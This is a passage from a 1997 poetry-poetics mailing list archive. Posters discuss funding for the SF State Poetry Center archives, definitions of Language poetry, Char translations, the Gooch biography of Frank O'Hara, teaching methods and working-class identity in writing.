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171. Laura Moriarty
Re: one more on Poetry Center Archives
Tue 7 Oct 1997

Thanks again for many responses to the Poetry Center situation.

Please remember to reply to [redacted] (with a cc to [redacted]) rather than to the list.

I also wanted to point out that Jewelle Gomez has not made the decision to defund the position. The Poetry Center does not have the funds, which have in the past come from the NEA and many other (now dry) sources. It is now up to San Francisco State University to provide the resources to continue the position.

Your support is very heartening.

Laura Moriarty

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172. Aviva Vogel
Re: Defining Language Poetry
Tue 7 Oct 1997

I'm curious...why use words, rather than a saxophone or oil paints, if there isn't supposed to be some amount of denotative quality to them?

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173. Alan Jen Sondheim
starving to death in a land of plenty
Tue 7 Oct 1997

-

Somatic knowledge has nothing to do with the signifier.

↑ Index

174. Harold Rhenisch
Re: Defining Language Poetry
Tue 7 Oct 1997

"I'm curious...why use words, rather than a saxophone or oil paints, if there
isn't supposed to be some amount of denotative quality to them?"

Well, there's 'supposed' to be, but does there 'have' to be?

That's a nice idea, the saxophone. But, as I read in your words, it doesn't denote. I can see the thing being played. I can see it being used as a club. Ouch. I can see it mutely trying to speak. Painful to watch. Almost makes you want to paint it with those oil paints to set it free. But I can't see it denote. We see what we set out to see. Set out on a journey with language in our minds, we get language back. Set out with a Saxophone, we get music. Or squawks. Set out with silence, we get silence. Silence shines, and there are ways of structuring an approach to it that operate as language does with words, but, like that Sax it is not language and don't do what words do do. To extrapolate: if we set out to denote, we will denote. There are languages of denotation. If we set out to use language as the object, the subject, and the tool, we'll get that back, like working in the nuclear fires of the sun. Things can explode. Further technologies are required to contain the blast. It can become anything. Radioactive strawberries at Chernobyl. Sun on leaves. Of the times certainly. Then again, all these tools can be structured to lead to another: silence to language, language to strawberries, strawberries to oil paints. Scripts. Where do the scripts lead?

To go further: why use sight? Hearing? Touch?

I too am curious: how to contain the blast? what is useful technology and what is not?

A cryptic night.

I hope this adds.

Harold

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175. Charles Bernstein
Poetry Center Archives: Correction
Tue 7 Oct 1997

In my original post on the Archives, I indicated that San Francisco State had cut the archivist position. But as Laura Moriarity made clear in her post, the problem comes from a loss of NEA funds that previously had been available for this type of position. That is one more instance, as if we needed more examples, of the cost of the continuing attacks on public arts funding. Now the university is in the position of having to cover for the cuts, which is a very different circumstance than making them in the first place. I appreciate the efforts of SF State to support such a vital poetry center over so many years and I am sorry to have misrepresented the situation. Maybe when they hear how much so many of us care about this program, they will find a way to increase their support so that the Archives can remain active.

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176. Tim Wood
Re: Poetry Center Archives: some ideas
Wed 8 Oct 1997

I'll agree with all the supportive comments from the group. The Archives are an
excellent resource that needs support. Instead of laboring the point, I'll just
make a couple of suggestion (between some bug and a long day...) on how members
of the list might help:

Perhaps the Poetics group (or members...) might donate money to seed an endowment for the position? If the group bites, I'll be happy to pitch in the first check.

Has SF State looked at a part time archivist --perhaps a grad student at the Univ.-- until funding can be restored?

Tim Wood

> From: Charles Bernstein <[redacted]>
> To: [redacted]
> Subject: Poetry Center Archives: Correction
> Date: Tuesday, October 07, 1997 10:59 PM
>
> In my original post on the Archives, I indicated that San Francisco State
> had cut the archivist position. But as Laura Moriarity made clear in her
> post, the problem comes from a loss of NEA funds that previously had been
> available for this type of position. That is one more instance, as if we
> needed more examples, of the cost of the continuing attacks on public
arts
> funding. Now the university is in the position of having to cover for the
> cuts, which is a very different circumstance than making them in the
first
> place. I appreciate the efforts of SF State to support such a vital
poetry
> center over so many years and I am sorry to have misrepresented the
> situation. Maybe when they hear how much so many of us care about this
> program, they will find a way to increase their support so that the
> Archives can remain active.

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177. Joseph Conte
Re: Ronald Johnson/ARK
Wed 8 Oct 1997

For a thorough and compelling essay on Johnson's career, with a complete bibliography of criticism (though not reviews) on ARK, see Eric Selinger's entry on Ronald Johnson in _Dictionary of Literary Biography 169: American Poets Since World War II_ (Fifth Series): 146-56.

Johnson, by the way, wrote the entry on his mentor, Jonathan Williams, for _DLB_ 5 way back in 1980.

Joseph Conte

↑ Index

178. Maria Damon (Maria Damon)
Re: Defining Language Poetry
Wed 8 Oct 1997

At 1:04 PM 10/8/97, Joe Amato/Kass Fleisher wrote:
etc.

on a totally different note, joe, and maybe kali can help out here, i'm somewhat ambivalent about this new "working class studies" stuff. much of what i've seen is not politically engaged, really, but about some kind of nostalgia and ambivalence on the part of academics or writers who come from a working class origin but are no longer strictly speaking leading a working class life. so the real issue seems to be (upward) class mobility and the personal narratives that come out of it. there doesn't seem to be much theory (high or low), what i've seen does not draw on the rich work of marxists or others who deal with class as a fundamental social category. so what's the "shtick," other than personal narratives about loss and gain?

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179. Lawrence Upton.
POETRY CENTRE ARCHIVES
Wed 8 Oct 1997

Apologies for misdirection. When I grow up I am going to be sensible

L

↑ Index

180. Susan Wheeler
Poetics Digest
Wed 8 Oct 1997

Rene Char, The Dawnbreakers -- Bloodaxe

Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

181. Eliza McGrand
call for writing/art/etc.
Wed 8 Oct 1997

Forwarded from Jordanne:

Hello all, Jordanne here. This is just a reminder that next month THE FREE CUISENART hopes to publish a special issue with the topic of "rites of passage."

We are looking for poems, stories, essays or html poems which deal with a transitional point of life: birth, death, loss of innocence/virginity, marriage, loss, emergence, epiphany, revolutionn, sex change, mind-set change, etc.

Please send your work to our editorial staff at [redacted] by Oct. 23. If you are still unsure of the kind of poetry/fiction/essays we like, you may take a look at our very popular "Identity" issue at http://www.on-net.net/~cca/wowzine/wowzine.html If you still have questions, write me at [redacted]. I'll answer.

Jordanne Holyoak-Kitchel, editor, THE FREE CUISENART

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182. **Henry**

Re: Defining Language Poetry

Wed 8 Oct 1997

On Tue, 7 Oct 1997 21:49:35 -0400 Aviva Vogel said:
>I'm curious...why use words, rather than a saxophone or oil paints, if there
>isn't supposed to be some amount of denotative quality to them?

Mandelstam, in his essay "Conversation about Dante", has an interesting & complex approach to this question. He compares the words to the instrumentation in a piece of music. Denotation is not the right word for the kind of multidimensional, multidirectional referentiality which the word has in the pattern. And yet he doesn't valorize the "word-as-such" so heavily as he had earlier in his career, or as the futurists did. The word is an arbitrary flowing replaceable phenomenon subject to the "conductor's baton" of the transformational poetic "impulse". It's the impulse, which maybe can be equated with the _telos_ or "end" of the poem as a whole, which is the unifying factor in a constantly metamorphosing situation. I think it would be interesting to relate his thinking to the work of Montale, writing in Italian at about the same time, also deeply involved with Dante. Montale's verse builds on this flowing quality in a very pronounced way. - Henry Gould

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183. Mark Wallace
the Gooch biography of Frank O'Hara
Wed 8 Oct 1997

I'm not sure about this, but I think I remember at some point in the past a couple posts on this list speaking about shortcomings in the recent biography about Frank O'Hara. If there's anyone out there who remembers that conversation, or has some things to say about the biography, could you backchannel me, and post to the list if you're so inclined?

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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184. Tom Orange
Char in German?
Wed 8 Oct 1997

thanks to gary roberts for his char translations.

anyone know of existing translations of char into german?

thanks,
t.

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185. Tom Orange
michael speier
Wed 8 Oct 1997

was browsing thru issues of the chicago review yesterday and stumbled upon, in addition to the ronald johnson issue, some great translations of michael speier by rosmarie waldrop. i immediately sensed some celan in speier's work and was confirmed in this hunch by the notes in the back which say that speier is editor of the celan-jahrbuch.

does anyone have further info on speier's work? ive found a citation for only one volume of poetry. also wondering if waldrop is planning to continue working on translating speier...

thanks,
t.

↑ Index

186. **Aviva Vogel**
Re: starving to death in a land of plenty
Wed 8 Oct 1997

In a message dated 97-10-08 05:23:15 EDT, you write:

> Somatic knowledge has nothing to do with the signifier.
>
>
What???

↑ Index

187. **Aviva Vogel**
Re: Defining Language Poetry
Wed 8 Oct 1997

In a message dated 97-10-07 23:18:50 EDT, you write:

> *"I'm curious...why use words, rather than a saxophone or oil paints, if there*
> *isn't supposed to be some amount of denotative quality to them?"*
>
> *Well, there's 'supposed' to be, but does there 'have' to be?*

Actually, I would more accurately say...the power of words resides at least partially in their denotative, transitive qualities. Why waste that power and potential?

I certainly understand the virtues of making language, or words, the focus of a piece of writing. I certainly understand, from the bottom of my heart, the beauty of their sounds, quite apart from any "meaning" which they might point to. And I have a great interest in understanding, and consciously managing, rather than falling victim to, their political powers.

But why waste their ability to signify something beyond themselves, as long as we acknowledge the contingency, the provisionality, the non-absoluteness of the "reality" or "meaning" or "truth" they point to? We're so busy shedding the handcuffs of imposed meaning, habitual thinking, and cultural/political impositions, that we may be rejecting the power of words to bring us inside the "realities" of others, via transitive language.
>

> That's a nice idea, the saxophone. But, as I read in your words, it doesn't
> denote. I can see the thing being played. I can see it being used as a
> club. Ouch. I can see it mutely trying to speak. Painful to watch. Almost
> makes you want to paint it with those oil paints to set it free. But I
> can't see it denote.

I'm not sure I understand this passage. How is the saxophone used as a club? Why is it painful to see it "mutely trying to speak." Doesn't the saxophone "speak"?

We see what we set out to see. Set out on a journey
> with language in our minds, we get language back. Set out with a Saxophone,
> we get music. Or squawks. Set out with silence, we get silence. Silence
> shines, and there are ways of structuring an approach to it that operate as
> language does with words, but, like that Sax it is not language and don't
> do what words do do. To extrapolate: if we set out to denote, we will
> denote.

That's my point. Why don't we use both the denotative and connotative powers of language? There doesn't have to be the corresponding assumption that what's "signified" is any kind of absolute truth, although I certainly understand that language has been misused, and turned into a weapon, in just this way.

There are languages of denotation. If we set out to use language as
> the object, the subject, and the tool, we'll get that back, like working in
> the nuclear fires of the sun. Things can explode. Further technologies are
> required to contain the blast. It can become anything. Radioactive
> strawberries at Chernobyl. Sun on leaves. Of the times certainly. Then
> again, all these tools can be structured to lead to another: silence to
> language, language to strawberries, strawberries to oil paints. Scripts.
> Where do the scripts lead?

What??????
>
> To go further: why use sight? Hearing? Touch?

A better question is: why NOT use sight, hearing, touch, and report on our own version of what we're perceiving?
>
> I too am curious: how to contain the blast? what is useful technology and
> what is not?

Why think of language as "technology"? I don't deny that it IS technology, but it is so many other things too.
>
> A cryptic night.

The night? Or what's in our minds? Or life in general? Or...are we just choosing to find the state of "cryptic-ness" right now? I mean, it's not really actually "out there," in anything other than a contingent way, is it?

> *I hope this adds.*

It's been fun to get a response, but I have to admit I don't fully understand what you're saying. I'd love to understand your point better, but your language sometimes makes associations I can't follow in anything other than a vaguely impressionistic way. I'm not knocking either those impressions, or the virtues of using language to create openings, atmospheres, break habitual chains of thought, etc. But I do want to say that some of what you've written here doesn't feel like a "response" that I can apply to my own inquiry on this subject.

On the other hand, I do get a sense of "explosion" coming at me from your words...a demonstration that language, if pointing to itself, can either explode or implode all the old, impacted, crusted-over structures of thought we've trapped ourselves beneath. I have to admit, anything you, or anyone else, contributes to that endeavor "adds!"

So, thank you, Harold!

Aviva

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188. Mark Prejsnar
Re: Defining Language Poetry
Wed 8 Oct 1997

On Tue, 7 Oct 1997, Aviva Vogel wrote:

> *I'm curious...why use words, rather than a saxophone or oil paints, if there isn't supposed to be some amount of denotative quality to them?*

Aviva,

Apparently where you and I are thinking quite differently, is the question of what makes poetry poetry...where its distinctive character is "located"...

If I understand your post correctly, you feel that it lies in its use of *words*, which require that a poet be "responsible" and tie herself to linear, denotative sense...

I can't possibly see it that way...If I did I certainly woudln't like a huge amount of the poetry I do...all of Stein and Coolidge, for instance, and about half of Zukofsky.

I believe that poetry is free to be a fully-realized art-practice. The fact that it doesn't use paints or musical notes is irrelevant, because unlike you I don't see the capacity for full use of the medium's range as *proceeding from the nature of the medium*....I don't feel that I have to be a sax player or work in acrylics to be given permission to use the full possible range of artistic form....That permission comes from the nature of art-practice structures...I may not be able to sound like a Clark Coolidge poem when I go in for an interview for a job as a library cataloger..It's very likely that I wouldn't get it!! (..except maybe at SUNY Buffalo); but the space in which I and other poets work with words, is one where (as Dostoievsky would say with horror) *everything is allowed*...That's what's very important about poetry. It is a reflection of the tethered human drive for absolute freedom; and this is one reasons so many interesting poets are seriously left (and feminist) at a time when the state and mass media are coldly, implacably hostile to such truths.

Needless to say, "everything is allowed" doesn't mean everything is good. But we are responsible for articulating our critical likes and dislikes in an especially full and careful way...It's easier if you can dismiss a large subgroup of poems as not having "some amount of denotative quality." But if one realizes that all possible poems are indeed poems, and one has to truly make judgments without god-given rules, it becomes more interesting. For the mind. Also for the ear. For instance I don't believe that any single poet has created more *disturbingly beautiful* sound with words than Coolidge (to take what I feel to be one of the most helpful reference points for discussions like these). Poetry would be impoverished to the point of vanishing, were we to exclude his work because it often doesn't seem to have a linear "amount of denotative quality"!!!!

regards,
Mark

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189. Pierre Joris
Re: Char in German?
Wed 8 Oct 1997

This is a multi-part message in MIME format.

Tom Orange wrote:

> *thanks to gary roberts for his char translations.*
>
> *anyone know of existing translations of char into german?*

> *thanks,*
> *t.*

Tom -- attached a quick list of Char in German -- note also volume IV of the Collected Paul celan has Celan's translations from "A La Santé du Serpent," "Feuillets d'Hypnos" & "A une sérénité crispée" -- Pierre

Content-Description: Netscape Communicatorª Document

[VLB] Found Books [Image] [Homepage]
(Short Display)

Title 1 - 13 [13]

[new query] [a_sbadd] [a_sbview]

Blanchot, Maurice: Das Tier von Lascaux
Arbeiten auf Papier, 00009
ISBN 3-930754-08-8, Englisch broschiert, Price 38,- DM
Breton, André;Eluard, Paul;Char, René: Vorsicht Baustelle /Ralentir travaux

ISBN 3-924095-37-X, Broschiert, Price 19,80 DM
Char, Rene: Einen Blitz bewohnen
Fischer Taschenbücher, 12675
ISBN 3-596-12675-4, Kartoniert, Price 18,90 DM (18,90 SFr, 138,- ÖS)
Char, René: Die Bibliothek in Flammen und andere Gedichte
Fischer Taschenbücher, 10803
ISBN 3-596-10803-9, Kartoniert, Price 19,80 DM (20,80 SFr, 145,- ÖS)
Char, René: Die Sonne der Wasser
ISBN 3-7953-0922-0, Leinen, Price 28,- DM (26,70 SFr, 204,- ÖS)
Char, René: Hypnos
Fischer Taschenbücher, 09570
ISBN 3-596-29570-X, Kartoniert, Price 12,80 DM (13,80 SFr, 93,- ÖS)
Char, René: Rückkehr stromauf
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↑ Index

190. Joe Amato/Kass Fleisher
Re: Defining Language Poetry
Wed 8 Oct 1997

---

i'm struck by this discussion of the anti/democratic leanings of poetry that refuses to match readers' expectations...

on the one hand, a good case can be made for intelligibility---in context, of course...

on the other, it's important i think to recognize how the status quo of mainstream poetry asserts "voice" and "craft" as measures of "authenticity," and what this itself suggests as to the relationship between language and experience...

in much of my work, i'm prone to talking about my practice in terms of "constructing a readership"... naturally, like many of you, i feel that what i'm asking for is more participation on the part of readers in making meaning of my words, and for that matter, of finding in my words or through my words something evocative...

at the same time, i trust the potential problem here wrt democracy or participatory response-logics is self-evident: it's somewhat presumptuous of me to think that i can actually "construct" a readership, no?---out of living, fully conscious

and articulate beings whose predilections are at least as valid, on the surface of things, as are mine?...

this constitutes, as i see it, the push-pull logic of trying to engage with other human beings in ways with which they may not be accustomed... on the one hand, we attempt to pull readers, as it were, into engaging us through our texts (or if you prefer, simply our texts---or simply us!)... at the same time, we're pushy in this gesture---we expect that our readers, whoever they are, will appreciate our (at least partial) 'reneging' of author-ity...

i don't think you can readily resolve this issue... or to put it another way, this question of the value/revaluation of accessibility is itself part of the controversy of writing poetry today, at least in much of north america... and i would expect most poetries to hazard this controversy, somehow...

for those interested, this has all sorts of parallels with teaching, student-centered teaching vs. lecture (or instructor-centered), etc... but i'll leave that alone unless someone else wants to go there...

i suspect that one of the few viable responses as such to this question of democracy *in* writing is probably some gesture toward pluralism, either at the level of response or in terms of the writing process/aesthetics itself... and i think we all understand just how thorny the politics of pluralism can be...

best,

joe

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191. Aldon Nielsen
Re: accused (personal ad); and Mullen Matters
Wed 8 Oct 1997

---

1) here at last the citation -- Harryette Mullen's essay, now titled "African Signs and Spirit Writing," appears in _Callaloo 19.3 (1996): 670-89. This issue also has an interview with Mullen

2)On second L=A=N=G=U=A=G=E accusation -- if you go back and look at issues of _L=A=N=G=U=A=G=E_ and others, you'll find terms such as "language centered writing" etc. -- Among the earliest uses of the term "Language Poet" it was, in fact, made in an accusatory mode in the pages of _Poetry Flash_ by someone who had just read _The Culture of Narcissism_ -- I won't bore you with the results here -- The point is, and this may have been part of Ron's humor in supplying his nonce definition, that the term "language poet" was a label affixed at the beginning as a pejorative -- one which might be ironically reappropriated for other purposes

3) Am working out details for a poetry reading at Loyola Marymount by Harryette Mullen and Giovanni Singleton, probably late November, and will expect ALL LA area poetics listers to try to make it -- watch this space for details

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192. Aldon Nielsen
Re: by all means, go there
Wed 8 Oct 1997

I think we need to examine the often-voiced assumption that the lecture is somehow "instructor-oriented," while various other modes (small group discussion etc.) are intrinsically student-centered. My experience has brought me to believe that nearly any form of teaching can be either instructor or student-centered -- Nothing could conceivably be more instrcutor-centered than the putatively more democratic modes of in-the-class organization the teachers thrust upon us in many of my undergraduate classes -- They were nearly always more of a convenience for the instructor ((though the move to journal writing is perhaps the most labor-intensive instructional development in my life time) --

Emerson thought the lecture a wonderful new art form that nobody had yet done well -- I begin to believe he's right on that count --

--- Now that I'm tenured, I even sometimes READ (GOD!) to my students -- or with them -- Though I don't read to them that which they were to have read before the class --

Can't "lecture" be a mode of group investigation?

years ago a speaker quipped, upon following another speaker who made a great show of stepping away from the podium to erase all "that I speak and you listen stuff" that "Only in American do we try to make the revolution by rearranging the furniture -- I happen to think that moving furniture about from time to time may be a good idea -- but it doesn't matter much if our students are herded into small groupuscules if they are herded toward the same old conclusions --

none of which is what Joe was speaking of,,,, but I'd like to hear from him on these issues that we both think about a great deal

↑ Index

193. Lawrence Upton.
Re: by all means, go there
Wed 8 Oct 1997

| I think we need to examine the often-voiced assumption that the lecture is | somehow "instructor-oriented," while various other modes (small group | discussion etc.) are intrinsically student-centered.

| Can't "lecture" be a mode of group investigation?

Aldon Nielsen

This applies also to poetry performances. It is a matter of attitude as much as mode. There are lecturers there are poets who shut out the auditors by their body language, choice of introduction, structure.... and vice versa

L

↑ Index

194. William Marsh
Re: the Gooch biography of Frank O'Hara
Wed 8 Oct 1997

At 08:47 AM 10/8/97 -0400, Mark Wallace wrote:
> I'm not sure about this, but I think I remember at some point in
>the past a couple posts on this list speaking about shortcomings in the
>recent biography about Frank O'Hara. If there's anyone out there who
>remembers that conversation, or has some things to say about the
>biography, could you backchannel me, and post to the list if you're so
>inclined?
>
Mark

i read the biography a while ago but remember finding it dissapointing on one simple and perhaps predictable count: over-valorization of O'Hara's sexual exploits and other behavior eccentricities / without, that is, suggesting how all of it might have had something to do with his larger experiment in poetry -- living / reminded me of the rather bad (in my opinion) film biography of Charlie Parker (Eastwood's "Bird") that focused almost entirely on his drug addictions and resulting domestic difficulties

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195. Michael Magee
Re: the Gooch biography of Frank O'Hara
Wed 8 Oct 1997

There's lots to dislike in Gooch's biography - in addition to its gossipy nature (fun enough as you read along but much of it ultimately pointless), Gooch also reads the poems almost purely as autobiography, that is, as one might read a memoir. So he doesn't have much to say about the development of O'Hara's poetics. I'm glad he took the time to do it of course, b/c there's obviously more primary material there than anywhere else in print, but I sure do wish someone would do a better one.

-Mike.

According
to William Marsh: > > At 08:47 AM 10/8/97 -0400, Mark Wallace wrote:
> > I'm not sure about this, but I think I remember at some point in
> >the past a couple posts on this list speaking about shortcomings in the
> >recent biography about Frank O'Hara. If there's anyone out there who
> >remembers that conversation, or has some things to say about the
> >biography, could you backchannel me, and post to the list if you're so
> >inclined?
> >
> Mark
>
> i read the biography a while ago but remember finding it dissapointing on
> one simple and perhaps predictable count: over-valorization of O'Hara's
> sexual exploits and other behavior eccentricities / without, that is,
> suggesting how all of it might have had something to do with his larger
> experiment in poetry -- living / reminded me of the rather bad (in my
> opinion) film biography of Charlie Parker (Eastwood's "Bird") that focused
> almost entirely on his drug addictions and resulting domestic difficulties
>

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196. Layne Russell
Re: Defining Language Poetry
Wed 8 Oct 1997

George Bowering wrote:

> *[...] they*
> *are expressing stuff, which implies to me that words are something they USE.*
>
> *George Bowering.*

please elaborate...not on the poets...but on expressing and the USE of words....

thanks

Layne

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197. **Aldon Nielsen**
Re: bird on a wireless
Wed 8 Oct 1997

The movie _BIRD_ also had a habit of starting up a flashback for one character inside of another character's already-in-progress flashback -- Might have been fun if the screenplay'd been written by Sorrentino, but it wasn't --

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198. **Joe Amato/Kass Fleisher**
going there...
Wed 8 Oct 1997

---

aldon, my sense of the lecture is that it can be used in a classroom in extremely student-centered ways, yes... i advocate as a teacher a combination (again that plural) of modes, whatever else i'm busy advocating... but it's best to pause and examine what is meant by "lecture"... b/c lecture as i've seen it deployed is generally not a participatory mode of teaching (which, to be sure, does not mean it can't be)...

again, i want to be sure we've got a fix on what the status quo is: on the campuses on which i've taught, the status quo (and all's you have to do to figure it out is to stand outside of most classrooms for ten minutes or so) is lecture of the "i am now talking, and will continue to talk w/o interruption for the next 90 minutes" variety... no shit---i've heard instructors go on for well over an hour w/o as much as a burp... and i've seen the glazed over look in students' eyes that results... some get it, some don't---but the real problem is that even the some who do come to learning as a result in a passive way... i'm sure you know what i mean here... dialogue as such is at best reduced to occasional comprehension checks... and this is in fact what much of the sciences and engineering disciplines do when it comes to pedagogy, aside from problem-solving (which is usually handed over to teaching assistants in recitation sections and the like)...

i need to start here when i talk about lecturing, b/c this is the reality of most of the lecture-mode instruction i've seen... and when i try to break a classroom down into groups, and when i try to turn over to a given class its fair share of responsibility in the learning process, i'm often greeted by a "but we're here to know what you think" response... which is to say, they want to sit back and have

me tell them what's important re life, liberty, and the pursuit of happiness... which i'll do *on occasion*, but not all the time... still, in their other classes, they can sit back and watch tv... which is why it's so tough for me initially when i complicate the site of teaching, and opt for something a bit more dynamic and (if i may) interactive...

among students, i mean... all three of my current classes have, at this midterm point in the semester, gotten used to me *not being there* for a part of each period... i get up and walk away, walk right the fuck out of the room in fact, and allow them to work out certain tasks w/o my intervention... in fact, when i try to intervene, i'm sometimes greeted with a "why don't you let us alone" response... after all, they have to deal with me in AND out of class---on-line, in the online lists i use for each class...

btw, much of the problem with *most* of the "distance learning" i've seen falls under this latter category (we might talk, on the other hand, about how distance learning *could be* about learning distance)...

well anyway... if it's true that any form or mode of teaching can be student-centered, then i suppose, depending on context, any form or mode of writing can be democratic, no?... or does this parallel not hold?...

best,

joe

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199. Aviva Vogel
Writing is an Aggressive Act, Didion Says
Wed 8 Oct 1997

In a message dated 97-10-08 14:25:33 EDT, you write:

Joe, I appreciated your message, and addressing the (below) portion of it only for now, I thought you'd appreciate the following excerpt. While it's certainly no answer, it is a curious and pertinent take on your question:

"Why I Write" by Joan Didion

In many ways writing is the act of saying I, of imposing oneself upon other people, of saying listen to me, see it my way, change your mind. It's an aggressive, even a hostile act. You can disguise its aggressiveness all you want with veils of subordinate clauses and qualifiers and tentative subjunctives, with ellipses and evasions--with the whole manner of intimating rather than claiming, of alluding rather than stating--but there's no getting around the fact that setting words on paper is the tactic of a secret bully, an invasion, an imposition of the writer's sensibility on the reader's most private space.

(Of course, I don't entirely agree with her, but there's enough "truth" in her statement to enjoy a startling moment....)
--Aviva Vogel

> it's somewhat presumptuous
> of me to think that i can actually "construct" a readership, no?---out of
> living, fully conscious and articulate beings whose predilections are at
> least as valid, on the surface of things, as are mine?...
>
> this constitutes, as i see it, the push-pull logic of trying to engage with
> other human beings in ways with which they may not be accustomed... on the
> one hand, we attempt to pull readers, as it were, into engaging us through
> our texts (or if you prefer, simply our texts---or simply us!)... at the
> same time, we're pushy in this gesture---we expect that our readers,
> whoever they are, will appreciate our (at least partial) 'reneging' of
> author-ity...

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200. Joe Amato/Kass Fleisher
working class heroes...
Wed 8 Oct 1997

---

maria, that's a difficult question for a lot of reasons, but i'll do my best to give it an initial go... i'm bushed at the moment, so i'll probably digress like a sono-fabitch...

first, once you're made aware of your class, you don't forget that you inhabit a class... and one way to be made aware of your class is to switch classes!... i mean, you can start out working class, end up upper class, or vice versa... un-like gender (for the most part)...

now of course the norm is onward and upward---that is, the normative structure expects this from each of us, in this country... and if you do---move onward and upward i mean---why then there are plenty of opportunities to be reminded of where you used to be... in this sense, yes---being working class can entail narra-tives that deal with loss and gain, as you put it... as do so many other narra-tives, right?... which as you know does not mean that there's nothing therefore "to it," but---

and of course "working class" can be taken then simply as a subset of those other structural-institutional realities and discourses (race/gender/class etc)... this much you already know..

now i tend mself to get very edgy about this term, working class... i see it as a convenience, as lumping together various experiences/behaviors and the like that emerge from a particular way of living and working in the world... probably, as i come to the term, only applicable to this century and part of the prior, in a particular part of the world, in fact... but i get edgy about it b/c, depending on who's using it, i can almost immediately get a sense that the term is actively despised, celebrated, challenged, or plain misunderstood... it's a rare occasion when someone will use it the way i understand it...

one facet of being in the working class, at any point in one's life, is that (depending perhaps on the intersection of your class and ethnicity and of course other factors) you might very well have been exposed to the oft-noted anti-intellectualism of u.s. public life... whereas many in the working class want their sons and daughters to go to college and get an education, they're distrustful of too much "intelligence" (in my view, if you haven't come across this behavior, you've led a relatively sheltered life)... this is the sort of line that leads to a book like richard rodriguez's _hunger of memory_ (with rr it's ethnicity and class---but i find rodriguez too conservative in terms of his politics)...

i must put in a word here, btw, about the relationship between middle and working classes... used to be the word "middle class" spoke primarily, or at least with some urgency, to the term working class... not now---the middle classes seem now to be much more various, "salary hourly professional skilled semi-skilled blue collar white collar pink collar" and so forth... not the run of the mill the word might have evoked during the 50s, when you might have had two or three designations at hand, and when working class folks took pride in being *the majority* middle class... perhaps what you might call a working mythology...

what the anti-intellectual drift means is that any attempt at theorizing what is meant by "working class," by those in or out of the working class, will sometimes be met with resistance simply B/C it's likely to be taken as an ostentatious display of smarts (recall orwell's problems in this regard)... i can't tell you how many times i've been called a smartass by my old man...

but you ask me what's up with this... and what's up with this is, in part, a matter of what i feel comfortable with...

when i walk into a room and start shooting the shit, and notice that two or three folks are put off by my language, i know immediately that i'm out of my class... i just have to drop a couple of fucking-A's and that's it... and it doesn't matter that i'm now middle class, or that we all hold doctorates---the point is that the response i'm getting can only be accounted for by class differences---from my past, right...

you see?... i mean, i can be here but i'm still there, i'm there but i'm still here---no loss or gain implied or intended...

now generationally, the older working class folks, most i knew, were respectful in public and around children and around folks with money---but swore like troupers among themselves... some of us, the slightly newer generational models, have simply refused to silence this aspect of our upbringing... some of us figure that, if reading four-letter words in literature is ok, why then using such words around others is ok... of course, this isn't to countenance insult or hate speech... but it *is* to reckon a somewhat different sense of what constitutes "offensive" language...

you can see the problems somebody like me might run into in the classroom, no?---esp. today...

"but swearing isn't professional"

fuck you it's not---

i mean, fuck me---

you see?... i mean, this past of mine has now become a matter of my professional self...

nothing essential here, i hope you'll note... but a set of markers that, all taken, push and pull one this way and that, in sometimes identifiable directions... a marker in fact that you might be interested in: the response of working class folks to books... working class folks, the ones that i knew, might stand in awe of books... depends... books that made you famous, that anybody could read (cf. democracy thread), yes---this is what they stood on awe of, and i hope most of you will not find this too too condescending, b/c it describes my father in many ways... but book learnin, as against other ways of knowing---nother thing entirely... depends... einstein?... fuckin genius... stevenson?...

well---politics-wise,

paradox, right...

now i've heard, often enough, the argument as to how anybody who writes these days is generally middle class, ergo it's pointless to appeal to working class values as a key factor in one's writing (and i've heard this argument both in terms of content, and in terms of more nuanced discussions of subject position and the like)... but this wouldn't explain, for example, how a book like ben hamper's _rivethead_ (which i've been teaching for a few years now) comes to be written (whatever you make of it)...

even more: if you pursue this logic---that all writing is middle class b/c you're probably living middle class as a writer---this would suggest that working class urgencies are not to be conveyed/embodied/evoked once one leaves said class

(financially speaking).. that one needs actually to "occupy" (and here you can see where the discussion could easily take on ontological proportions---if i let it!) a, say, factory-line subject position in order to write with---i keep using this word---*urgency* about the factory... and even then---b/c you can't be working on the factory line and writing at the same time... etc etc etc --- clearly, such logic is patently absurd on the face of it... one may as well say that any moment of writing is marked by the relative freedom to write... but this sort of "freedom," i hope we all know, is often a matter of necessities that owe their emergence to---not memories, necessarily (if them too), but ways of behaving and believing and feeling that are in part of a function of one's prior class (among other shifting and not-so-shifting markers)...

having come from working class "stock" (as they used to say), and having spent a good portion of my life at the poverty line, my tendencies are clearly a present danger for me professionally (for example) in an institution that is only now, i think, really beginning to articulate the stresses and strains of folks whose parents do not hold college degrees (oh the history would have to go back to late 19th century anyway, to really dig it all out)... and in fact, when i worked as a salary worker, i often ran into similar problems... i identified in many cases with the hourly workers, the ones who viewed me as "management"...

and if this ain't the long and the short of it, maria: the very fact that i'm telling you stories about mself sez something about "theorizing," about my suspicions re talking about mself in the abstract, as it were, w/o talking turkey too...

best,

joe

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201. R. Gancie
SoKalled
Wed 8 Oct 1997

Tom. I have no problem with the notion that science makes useful contributions to the world as long as such sentiments remain a notion. Unfortunately, it has already gone well beyond the benign passiveness of the phrase "making useful contributions to our understanding of the world." For example, science uncritically substitutes the contingent and historically bound "notion" of existence for that of being and the immutability inhering in what Stanley Rosen calls the "ontological copula." What's worse is that science writers make this substitution whenever they damn well please because they are not under any constraints to be more rigorous in their attempts to describe physical phenomena through language. I find that Dennett consistently misinterprets opposing points of view. It appears to me that he does this because he cannot comprehend arguments that

arise from concerns about epistemological inconsistencies. His positivism is loaded with assumptions that he cannot acknowledge. He sees individuals who address the efficacy of these assumptions as being inconvenient and irrelevent and he expresses surprise and bewilderment that other people might take them seriously. Hofstader is another guy who consistently says that if he can't get it there must be nothing to it. Read him on aleatoric music. He is just as narrow as Dennett. Michael Dirda caught the essence of Hofstader in his review of Le Ton Beau De Marot in the Washington Post Book World for Sunday, June 29. "The man [Hofstader] hardly considers the moral or humane character of great works of art..." Dirda wrote. Then Dirda instead of following his better nature, says astonishingly that criticizing Hofstader's book "is cavilling before riches." Dirda wants his Shakespeare and to eat it too. Indeed, it is possible to get your poetics from sources such as Dennett and Hofstader---but at what cost? I don't mind scientists waxing poetic until they start forming organizations with other peoples monies to prevent certain other people from waxing poetic about the same phenomena. Primarily, scientists write popular books for the money. If the public is dazzled by science's poetic yawps tax money becomes easier to acquire. If you write a breakthrough book there are royalties. Scientists, for some good reasons and many bad ones, have always felt 